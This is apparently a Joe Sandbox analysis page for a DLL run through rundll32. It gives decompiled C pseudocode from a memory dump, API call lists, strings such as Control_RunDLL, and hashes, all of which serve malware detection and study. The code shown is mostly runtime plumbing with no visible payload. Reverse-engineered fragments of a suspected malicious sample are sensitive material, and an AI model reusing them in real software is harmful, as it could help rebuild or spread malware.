failed to generate unique thread ID: bitspace exhausted, xrefs: 6E9FC5D4
called `Option::unwrap()` on a `None` value, xrefs: 6E9FC5F7

Memory Dump Source

Source File: 00000003.00000002.620854066.000000006E9F1000.00000020.00020000.sdmp, Offset: 6E9F0000, based on PE: true

Associated: 00000003.00000002.620850451.000000006E9F0000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.620870962.000000006EA1A000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.620898940.000000006EA4D000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.620903588.000000006EA4F000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.620907578.000000006EA50000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6e9f0000_rundll32.jbxd

Similarity

API ID: ExclusiveLock$HeapRelease$AcquireAllocProcess
String ID: called `Option::unwrap()` on a `None` value$failed to generate unique thread ID: bitspace exhausted
API String ID: 1780889587-1657987152
Opcode ID: 7979559a468889ebcaf8222e4b1bfbe7a61b65d14129f1ab9d2a9cd63c89f871
Instruction ID: c82b1f3d54ef651352d065365735e6b6869e750fc523476eea6465b4f4bf28c4
Opcode Fuzzy Hash: 7979559a468889ebcaf8222e4b1bfbe7a61b65d14129f1ab9d2a9cd63c89f871
Instruction Fuzzy Hash: 4A31CDB4D44305CBEB00DF98C81879E7BB8EB88328F108129D415AF780D7359986CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 6E9F10A0, Relevance: 12.1, APIs: 6, Strings: 2, Instructions: 141
memoryCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E6E9F10A0(long __ebx, intOrPtr __edi, intOrPtr __esi, intOrPtr _a4, char _a8, intOrPtr _a16) {
				long _v20;
				intOrPtr _v24;
				char _v28;
				intOrPtr _v32;
				void* _v36;
				void* _v40;
				long _v44;
				long _v48;
				void* _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				long _v64;
				void* __ebp;
				void* _t45;
				void* _t46;
				void* _t50;
				void* _t51;
				intOrPtr _t54;
				long _t62;
				void* _t71;
				void* _t81;
				void* _t84;
				intOrPtr _t85;

				_t78 = __esi;
				_t76 = __edi;
				_t59 = __ebx;
				_push(__ebx);
				_push(__edi);
				_push(__esi);
				_t85 = _t84 - 0x30;
				_v32 = _t85;
				_v20 = 0xffffffff;
				_v24 = E6EA03950;
				_v28 =  *[fs:0x0];
				 *[fs:0x0] =  &_v28;
				_t45 =  *0x6ea4e128; // 0x2f30000
				if(_t45 != 0) {
					L3:
					_t46 = HeapAlloc(_t45, 0, 0xf);
					if(_t46 == 0) {
						goto L18;
					} else {
						asm("movsd xmm0, [0x6ea3da37]");
						asm("movsd xmm1, [0x6ea3da30]");
						_v40 = _t46;
						asm("movsd [eax+0x7], xmm0");
						asm("movsd [eax], xmm1");
						_t50 =  *0x6ea4e128; // 0x2f30000
						if(_t50 != 0) {
							L7:
							_t51 = HeapAlloc(_t50, 0, 0x10);
							if(_t51 == 0) {
								goto L19;
							} else {
								asm("movsd xmm0, [0x6ea3da47]");
								asm("movsd xmm1, [0x6ea3da3f]");
								_t71 = 0;
								_t59 = 0x10;
								_v52 = _t51;
								_v48 = 0x10;
								asm("movsd [eax+0x8], xmm0");
								asm("movsd [eax], xmm1");
								while(1) {
									_v44 = _t59;
									if(_t71 > 0xf) {
										break;
									}
									_t17 = _t71 + 1; // 0x1
									_t76 = _t71 + _t17;
									_t78 = _t59 - _t76;
									if(_t78 < 0) {
										_v20 = 0;
										E6EA19300(_t59, _t76, _t59, _t76, _t78, __eflags);
										asm("ud2");
										goto L18;
									} else {
										if(_t59 == _v48) {
											_v36 = _t71;
											_v56 = _t78;
											_v60 = _t76;
											_v20 = 0;
											_v64 = _t59;
											E6EA19280( &_v52, _t59);
											_t51 = _v52;
											_t59 = _v64;
											_t71 = _v36;
											_t76 = _v60;
											_t78 = _v56;
										}
										_t10 = _t76 + 1; // 0x1
										_v36 = _t71 + 1;
										_t81 = _t51;
										E6EA0D4D0(_t51 + _t10, _t51 + _t76, _t78);
										_t71 = _v36;
										_t51 = _t81;
										_t85 = _t85 + 0xc;
										 *((char*)(_t81 + _t76)) = 0;
										_t59 = _t59 + 1;
										continue;
									}
									goto L21;
								}
								_v20 = 0;
								_v36 = _t51;
								E6EA0BE30(_v40, _a4, _a8, _t51, _a16);
								__eflags = _v48;
								if(_v48 != 0) {
									HeapFree( *0x6ea4e128, 0, _v36);
								}
								HeapFree( *0x6ea4e128, 0, _v40);
								_t54 = _v28;
								 *[fs:0x0] = _t54;
								return _t54;
							}
						} else {
							_t50 = GetProcessHeap();
							if(_t50 == 0) {
								L19:
								_t62 = 0x10;
								goto L20;
							} else {
								 *0x6ea4e128 = _t50;
								goto L7;
							}
						}
					}
				} else {
					_t45 = GetProcessHeap();
					if(_t45 == 0) {
						L18:
						_t62 = 0xf;
						L20:
						E6EA192F0(_t59, _t62, 1, _t76, _t78, __eflags);
						asm("ud2");
						__eflags =  &_a8;
						E6E9F1000(_v52, _v48);
						return E6E9F1000(_v40, 0xf);
					} else {
						 *0x6ea4e128 = _t45;
						goto L3;
					}
				}
				L21:
			}

0x6e9f10a0
0x6e9f10a0
0x6e9f10a0
0x6e9f10a3
0x6e9f10a4
0x6e9f10a5
0x6e9f10a6
0x6e9f10a9
0x6e9f10ac
0x6e9f10b3
0x6e9f10c4
0x6e9f10c7
0x6e9f10cd
0x6e9f10d4
0x6e9f10e8
0x6e9f10ed
0x6e9f10f4
0x00000000
0x6e9f10fa
0x6e9f10fa
0x6e9f1102
0x6e9f110a
0x6e9f110d
0x6e9f1112
0x6e9f1116
0x6e9f111d
0x6e9f1131
0x6e9f1136
0x6e9f113d
0x00000000
0x6e9f1143
0x6e9f1143
0x6e9f114b
0x6e9f1153
0x6e9f1155
0x6e9f115a
0x6e9f115d
0x6e9f1164
0x6e9f1169
0x6e9f1192
0x6e9f1195
0x6e9f1198
0x00000000
0x00000000
0x6e9f119a
0x6e9f119a
0x6e9f11a0
0x6e9f11a2
0x6e9f1235
0x6e9f123c
0x6e9f1241
0x00000000
0x6e9f11a8
0x6e9f11ab
0x6e9f11ad
0x6e9f11b5
0x6e9f11b8
0x6e9f11bb
0x6e9f11c2
0x6e9f11c5
0x6e9f11ca
0x6e9f11cd
0x6e9f11d0
0x6e9f11d3
0x6e9f11d6
0x6e9f11d6
0x6e9f1171
0x6e9f1175
0x6e9f117e
0x6e9f1180
0x6e9f1185
0x6e9f1188
0x6e9f118a
0x6e9f118d
0x6e9f1191
0x00000000
0x6e9f1191
0x00000000
0x6e9f11a2
0x6e9f11db
0x6e9f11e5
0x6e9f11f2
0x6e9f11fa
0x6e9f11fe
0x6e9f120b
0x6e9f120b
0x6e9f121b
0x6e9f1220
0x6e9f1223
0x6e9f1230
0x6e9f1230
0x6e9f111f
0x6e9f111f
0x6e9f1126
0x6e9f124a
0x6e9f124a
0x00000000
0x6e9f112c
0x6e9f112c
0x00000000
0x6e9f112c
0x6e9f1126
0x6e9f111d
0x6e9f10d6
0x6e9f10d6
0x6e9f10dd
0x6e9f1243
0x6e9f1243
0x6e9f124f
0x6e9f1254
0x6e9f1259
0x6e9f1264
0x6e9f126d
0x6e9f1283
0x6e9f10e3
0x6e9f10e3
0x00000000
0x6e9f10e3
0x6e9f10dd
0x00000000

APIs

GetProcessHeap.KERNEL32 ref: 6E9F10D6
HeapAlloc.KERNEL32(02F30000,00000000,0000000F), ref: 6E9F10ED
GetProcessHeap.KERNEL32(02F30000,00000000,0000000F), ref: 6E9F111F
HeapAlloc.KERNEL32(02F30000,00000000,00000010,02F30000,00000000,0000000F), ref: 6E9F1136
HeapFree.KERNEL32(00000000,?,00000000,00000010,02F30000,00000000,0000000F), ref: 6E9F120B
HeapFree.KERNEL32(00000000,?,00000000,00000010,02F30000,00000000,0000000F), ref: 6E9F121B

Strings

Control_RunDLL, xrefs: 6E9F1102
Control_RunDLL, xrefs: 6E9F114B

Memory Dump Source

Source File: 00000003.00000002.620854066.000000006E9F1000.00000020.00020000.sdmp, Offset: 6E9F0000, based on PE: true

Associated: 00000003.00000002.620850451.000000006E9F0000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.620870962.000000006EA1A000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.620898940.000000006EA4D000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.620903588.000000006EA4F000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.620907578.000000006EA50000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6e9f0000_rundll32.jbxd

Similarity

API ID: Heap$AllocFreeProcess
String ID: Control_RunDLL$Control_RunDLL
API String ID: 2113670309-2490747307
Opcode ID: cd9c1cf5b348480a797316905044b5715e06958454363323274a63fb13748656
Instruction ID: 4274f29bb9fa8626d99760d49c3f48ae073680a857d0ffd6bcb854e699fc2330
Opcode Fuzzy Hash: cd9c1cf5b348480a797316905044b5715e06958454363323274a63fb13748656
Instruction Fuzzy Hash: 6C517CB5D00609DBDB00CFE9D940BDEB7B9EF8A314F108525E405BB242D775A845CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 6EA0EF20, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 6EA0EF57
___except_validate_context_record.LIBVCRUNTIME ref: 6EA0EF5F
_ValidateLocalCookies.LIBCMT ref: 6EA0EFE8
__IsNonwritableInCurrentImage.LIBCMT ref: 6EA0F013
_ValidateLocalCookies.LIBCMT ref: 6EA0F068

Strings

csm, xrefs: 6EA0EFFD

Memory Dump Source

Source File: 00000003.00000002.620854066.000000006E9F1000.00000020.00020000.sdmp, Offset: 6E9F0000, based on PE: true

Associated: 00000003.00000002.620850451.000000006E9F0000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.620870962.000000006EA1A000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.620898940.000000006EA4D000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.620903588.000000006EA4F000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.620907578.000000006EA50000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6e9f0000_rundll32.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 809aa8d020a2e608acfaa39e267094ca3b2128d43719ef073e321791a5169c5a
Instruction ID: 70c3b94cb8f77fb194adb7c863c8eae9fc71d30dc37c33534079afd96e94b82d
Opcode Fuzzy Hash: 809aa8d020a2e608acfaa39e267094ca3b2128d43719ef073e321791a5169c5a
Instruction Fuzzy Hash: 61419034A10219EBCF00CFA8D990ADEBBF9BF4531CF14C455E814AB352D7319A95CB95

Uniqueness

Uniqueness Score: -1.00%

Function 6EA02960, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 111memoryCOMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6EA4E114), ref: 6EA02994
TlsAlloc.KERNEL32 ref: 6EA029AA
GetProcessHeap.KERNEL32 ref: 6EA029C4
HeapAlloc.KERNEL32(02F30000,00000000,0000000C), ref: 6EA029DB
ReleaseSRWLockExclusive.KERNEL32(6EA4E114), ref: 6EA02A18

Strings

assertion failed: key != c::TLS_OUT_OF_INDEXESC:nzjojbotqasycnkljdteylasxmjqphnrtuuxvfwvaplwzgzyritzjhhjbshfvmfwyjcjnfnfvmrvjottrwutfjgifoertqrccfhqlnovkbhlvalwmitqmxbhveuriecxxgeiiftdxvx, xrefs: 6EA02A38

Memory Dump Source

Source File: 00000003.00000002.620854066.000000006E9F1000.00000020.00020000.sdmp, Offset: 6E9F0000, based on PE: true

Associated: 00000003.00000002.620850451.000000006E9F0000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.620870962.000000006EA1A000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.620898940.000000006EA4D000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.620903588.000000006EA4F000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.620907578.000000006EA50000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6e9f0000_rundll32.jbxd

Similarity

API ID: AllocExclusiveHeapLock$AcquireProcessRelease
String ID: assertion failed: key != c::TLS_OUT_OF_INDEXESC:nzjojbotqasycnkljdteylasxmjqphnrtuuxvfwvaplwzgzyritzjhhjbshfvmfwyjcjnfnfvmrvjottrwutfjgifoertqrccfhqlnovkbhlvalwmitqmxbhveuriecxxgeiiftdxvx
API String ID: 3228198226-3009553730
Opcode ID: cd76b2a1bd0eb3accebefb626400b9debc47630569aaecb25ccae1f6e27757d8
Instruction ID: 21fc798630cfe63bb74a74c65208027dd1fb39eb77f3f092691c851a5ef65410
Opcode Fuzzy Hash: cd76b2a1bd0eb3accebefb626400b9debc47630569aaecb25ccae1f6e27757d8
Instruction Fuzzy Hash: 7F4135B59003098FDB10CFE4D885BDEBBB4FB48318F148129D519AB281DB759889CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 6EA142BC, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,6EA143C9,FFFDC801,00000400,?,00000000,00000001,?,6EA14542,00000021,FlsSetValue,6EA46BF8,6EA46C00,?), ref: 6EA1437D

Strings

ext-ms-, xrefs: 6EA14327
api-ms-, xrefs: 6EA14313

Memory Dump Source

Source File: 00000003.00000002.620854066.000000006E9F1000.00000020.00020000.sdmp, Offset: 6E9F0000, based on PE: true

Associated: 00000003.00000002.620850451.000000006E9F0000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.620870962.000000006EA1A000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.620898940.000000006EA4D000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.620903588.000000006EA4F000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.620907578.000000006EA50000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6e9f0000_rundll32.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: 933d7006b479fb285e6cf8711c726410a463e9592fbd72b969d8861141acbd4d
Instruction ID: a7ada3dd83ac8b0d9d97c6d55277a1c1fcd7143442c634e46f3ecc6a88680a0d
Opcode Fuzzy Hash: 933d7006b479fb285e6cf8711c726410a463e9592fbd72b969d8861141acbd4d
Instruction Fuzzy Hash: 28212B35948722EBDB11DAA9CC40ACA3768EB42368F194110ED15BF280D730ED47C6E8

Uniqueness

Uniqueness Score: -1.00%

Function 6EA0F3BF, Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(00000001,?,6EA0F101,6EA0CFA2,6EA0C7AC,?,6EA0C9E4,?,00000001,?,?,00000001,?,6EA4AFA8,0000000C,6EA0CADD), ref: 6EA0F3CD
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 6EA0F3DB
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 6EA0F3F4
SetLastError.KERNEL32(00000000,6EA0C9E4,?,00000001,?,?,00000001,?,6EA4AFA8,0000000C,6EA0CADD,?,00000001,?), ref: 6EA0F446

Memory Dump Source

Source File: 00000003.00000002.620854066.000000006E9F1000.00000020.00020000.sdmp, Offset: 6E9F0000, based on PE: true

Associated: 00000003.00000002.620850451.000000006E9F0000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.620870962.000000006EA1A000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.620898940.000000006EA4D000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.620903588.000000006EA4F000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.620907578.000000006EA50000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6e9f0000_rundll32.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 4ac5ddbe9079cdaffe0a003044a7de333d2ba22f9f9b35e9aa876252da0076cd
Instruction ID: b0ab2e0b63f20ecd201f273ce1f1234db77ece030147238e9bedea9cbd5af308
Opcode Fuzzy Hash: 4ac5ddbe9079cdaffe0a003044a7de333d2ba22f9f9b35e9aa876252da0076cd
Instruction Fuzzy Hash: 8F01283621CB129EAB602AF47D846E73AA9DB5637C730822DED20781D0FF134C97958C

Uniqueness

Uniqueness Score: -1.00%

Function 6EA0BE60, Relevance: 9.0, APIs: 6, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 6EA0C510: GetTickCount64.KERNEL32 ref: 6EA0C517

GetTickCount64.KERNEL32 ref: 6EA0BE96
GetTickCount64.KERNEL32 ref: 6EA0BEB4
GetTickCount64.KERNEL32 ref: 6EA0BECD
GetTickCount64.KERNEL32 ref: 6EA0BECF
GetTickCount64.KERNEL32 ref: 6EA0BED6
GetTickCount64.KERNEL32 ref: 6EA0BEF4

Memory Dump Source

Source File: 00000003.00000002.620854066.000000006E9F1000.00000020.00020000.sdmp, Offset: 6E9F0000, based on PE: true

Associated: 00000003.00000002.620850451.000000006E9F0000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.620870962.000000006EA1A000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.620898940.000000006EA4D000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.620903588.000000006EA4F000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.620907578.000000006EA50000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6e9f0000_rundll32.jbxd

Similarity

API ID: Count64Tick
String ID:
API String ID: 1927824332-0
Opcode ID: dc14df069dda427ede68e3d0860cf583ddec91b00f75c8036048cc0c2b3dbe7f
Instruction ID: fdec6084b811f1430d0732942b65b9b2149858a099cd8344228726a3602920a2
Opcode Fuzzy Hash: dc14df069dda427ede68e3d0860cf583ddec91b00f75c8036048cc0c2b3dbe7f
Instruction Fuzzy Hash: D8019213C20E18CDD203B979A842546E6AD5F973E4B19C753D04B3B046FF9014E382A1

Uniqueness

Uniqueness Score: -1.00%

Function 6E9F6B40, Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 146COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 6E9F6C1B
__aulldiv.LIBCMT ref: 6E9F6C2B

Strings

{invalid syntax}, xrefs: 6E9F6B84
_!f64f32usizeu128u64u32u16u8isizei128i64i32i16i8strcharbool, xrefs: 6E9F6BAA, 6E9F6BE5
'for<, > as ::{shimclosure#[]dyn + ; mut const unsafe extern ", xrefs: 6E9F6B54

Memory Dump Source

Source File: 00000003.00000002.620854066.000000006E9F1000.00000020.00020000.sdmp, Offset: 6E9F0000, based on PE: true

Associated: 00000003.00000002.620850451.000000006E9F0000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.620870962.000000006EA1A000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.620898940.000000006EA4D000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.620903588.000000006EA4F000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.620907578.000000006EA50000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6e9f0000_rundll32.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: 'for<, > as ::{shimclosure#[]dyn + ; mut const unsafe extern "$_!f64f32usizeu128u64u32u16u8isizei128i64i32i16i8strcharbool${invalid syntax}
API String ID: 3839614884-2364648981
Opcode ID: 35ca0d0f81f56fac237034f45b4b584b48c79e8c811a94d94bf9b3cf9d880d5c
Instruction ID: 56f0da41174a82daac8a3dc4815f503b38fffe70d559dda69bb671c403e615ac
Opcode Fuzzy Hash: 35ca0d0f81f56fac237034f45b4b584b48c79e8c811a94d94bf9b3cf9d880d5c
Instruction Fuzzy Hash: C4418974718310CBD3149AA8D88077AB6D8DF95304F20483EE989CF3C3E665C852CBD2

Uniqueness

Uniqueness Score: -1.00%

Function 6E9FD000, Relevance: 8.8, APIs: 7, Instructions: 85memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000001,6E9FC746), ref: 6E9FD00B
TlsGetValue.KERNEL32(00000000,00000001,6E9FC746), ref: 6E9FD023
TlsGetValue.KERNEL32(00000000), ref: 6E9FD043
TlsGetValue.KERNEL32(00000000), ref: 6E9FD063
GetProcessHeap.KERNEL32 ref: 6E9FD076
HeapAlloc.KERNEL32(02F30000,00000000,0000000C), ref: 6E9FD089
TlsSetValue.KERNEL32(00000000,00000000,02F30000,00000000,0000000C), ref: 6E9FD0B6

Memory Dump Source

Source File: 00000003.00000002.620854066.000000006E9F1000.00000020.00020000.sdmp, Offset: 6E9F0000, based on PE: true

Associated: 00000003.00000002.620850451.000000006E9F0000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.620870962.000000006EA1A000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.620898940.000000006EA4D000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.620903588.000000006EA4F000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.620907578.000000006EA50000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6e9f0000_rundll32.jbxd

Similarity

API ID: Value$Heap$AllocProcess
String ID:
API String ID: 3559649508-0
Opcode ID: 85e017e18c8b5435d3e3f7a9c026ccf8e266e76a03c382496f3f87249d4c89c8
Instruction ID: 00e364299756d7db5110b3b910684a0d074f3e55ff2cb1da661e31b03b0b3988
Opcode Fuzzy Hash: 85e017e18c8b5435d3e3f7a9c026ccf8e266e76a03c382496f3f87249d4c89c8
Instruction Fuzzy Hash: 5A119DB0600701CBEB515FF59858B96369DAF82244F1A8C28D905EF380DB3AD887CF79

Uniqueness

Uniqueness Score: -1.00%

Function 6EA13571, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 79COMMON

Download Yara Rule

Strings

C:\Windows\SysWOW64\rundll32.exe, xrefs: 6EA1358D

Memory Dump Source

Source File: 00000003.00000002.620854066.000000006E9F1000.00000020.00020000.sdmp, Offset: 6E9F0000, based on PE: true

Associated: 00000003.00000002.620850451.000000006E9F0000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.620870962.000000006EA1A000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.620898940.000000006EA4D000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.620903588.000000006EA4F000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.620907578.000000006EA50000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6e9f0000_rundll32.jbxd

Similarity

API ID:
String ID: C:\Windows\SysWOW64\rundll32.exe
API String ID: 0-2837366778
Opcode ID: 8f8cebb3781f1f50b02794d3266fa7cd9c3a6ff1266f59e86d607b4a212c1e20
Instruction ID: 733d886d291b8709c23a34b1d8354b0bb26835c6cb8ef4660115cd2bfd3872d3
Opcode Fuzzy Hash: 8f8cebb3781f1f50b02794d3266fa7cd9c3a6ff1266f59e86d607b4a212c1e20
Instruction Fuzzy Hash: 9E21C53160C2456FD7009FE6CD489DBB7AEEF013A87168969E4A897210D730ED888758

Uniqueness

Uniqueness Score: -1.00%

Function 6EA10422, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 62COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,?,6EA104E3,00000000,?,00000001,00000000,?,6EA1055A,00000001,FlsFree,6EA46184,FlsFree,00000000), ref: 6EA104B2

Strings

api-ms-, xrefs: 6EA10472

Memory Dump Source

Source File: 00000003.00000002.620854066.000000006E9F1000.00000020.00020000.sdmp, Offset: 6E9F0000, based on PE: true

Associated: 00000003.00000002.620850451.000000006E9F0000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.620870962.000000006EA1A000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.620898940.000000006EA4D000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.620903588.000000006EA4F000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.620907578.000000006EA50000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6e9f0000_rundll32.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-
API String ID: 3664257935-2084034818
Opcode ID: cb4f9b05e9e7f2f642c39cbb6ead1d78b5fdbef7fbe31090e3742360b4e966e1
Instruction ID: a8f1245e62154468fcca4ebf71ad039204cc255385b007e9ca987491b97e9279
Opcode Fuzzy Hash: cb4f9b05e9e7f2f642c39cbb6ead1d78b5fdbef7fbe31090e3742360b4e966e1
Instruction Fuzzy Hash: 9A110A35A48721EFDF528AA88CC07C933A5AF02770F298120E955FF280E730ED9586D9

Uniqueness

Uniqueness Score: -1.00%

Function 6EA112ED, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,4F98A14C,00000000,?,00000000,6EA19B33,000000FF,?,6EA1127D,?,?,6EA11251,?), ref: 6EA11322
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 6EA11334
FreeLibrary.KERNEL32(00000000,?,00000000,6EA19B33,000000FF,?,6EA1127D,?,?,6EA11251,?), ref: 6EA11356

Strings

CorExitProcess, xrefs: 6EA1132C
mscoree.dll, xrefs: 6EA1131B

Memory Dump Source

Source File: 00000003.00000002.620854066.000000006E9F1000.00000020.00020000.sdmp, Offset: 6E9F0000, based on PE: true

Associated: 00000003.00000002.620850451.000000006E9F0000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.620870962.000000006EA1A000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.620898940.000000006EA4D000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.620903588.000000006EA4F000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.620907578.000000006EA50000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6e9f0000_rundll32.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 51765f6b2b3c9ad31ec5cd850dba30a21c10edeb8041d501851278ff036e8ebf
Instruction ID: 6ab696b71ff0cce823f5209438703b0c1838839f4d1990b2910e5f42c1a5f1fc
Opcode Fuzzy Hash: 51765f6b2b3c9ad31ec5cd850dba30a21c10edeb8041d501851278ff036e8ebf
Instruction Fuzzy Hash: B301F731904A19EFCF018B90CC09FFE7BB9FB04710F004129E811A6B80CB348944CA54

Uniqueness

Uniqueness Score: -1.00%

Function 6E9FC280, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 9libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32), ref: 6E9FC285
GetProcAddress.KERNEL32(00000000,SetThreadDescription), ref: 6E9FC295

Strings

kernel32, xrefs: 6E9FC280
SetThreadDescription, xrefs: 6E9FC28F

Memory Dump Source

Source File: 00000003.00000002.620854066.000000006E9F1000.00000020.00020000.sdmp, Offset: 6E9F0000, based on PE: true

Associated: 00000003.00000002.620850451.000000006E9F0000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.620870962.000000006EA1A000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.620898940.000000006EA4D000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.620903588.000000006EA4F000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.620907578.000000006EA50000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6e9f0000_rundll32.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: SetThreadDescription$kernel32
API String ID: 1646373207-1950310818
Opcode ID: 1e11d17029f8a73a9d93854e7136777d709a4cc40c689f6004276731637a8943
Instruction ID: 7102a5a8a103c57633a73aeebbfca465c5913bf48e8764296bb08d6dc7f38433
Opcode Fuzzy Hash: 1e11d17029f8a73a9d93854e7136777d709a4cc40c689f6004276731637a8943
Instruction Fuzzy Hash: 32B09B70640701DEDE505EF1494D5D57529B9D130130288846116ED501D954C045F97A

Uniqueness

Uniqueness Score: -1.00%

Function 6E9FC2C0, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 9libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(ntdll), ref: 6E9FC2C5
GetProcAddress.KERNEL32(00000000,NtWaitForKeyedEvent), ref: 6E9FC2D5

Strings

NtWaitForKeyedEvent, xrefs: 6E9FC2CF
ntdll, xrefs: 6E9FC2C0

Memory Dump Source

Source File: 00000003.00000002.620854066.000000006E9F1000.00000020.00020000.sdmp, Offset: 6E9F0000, based on PE: true

Associated: 00000003.00000002.620850451.000000006E9F0000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.620870962.000000006EA1A000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.620898940.000000006EA4D000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.620903588.000000006EA4F000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.620907578.000000006EA50000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6e9f0000_rundll32.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: NtWaitForKeyedEvent$ntdll
API String ID: 1646373207-2815205136
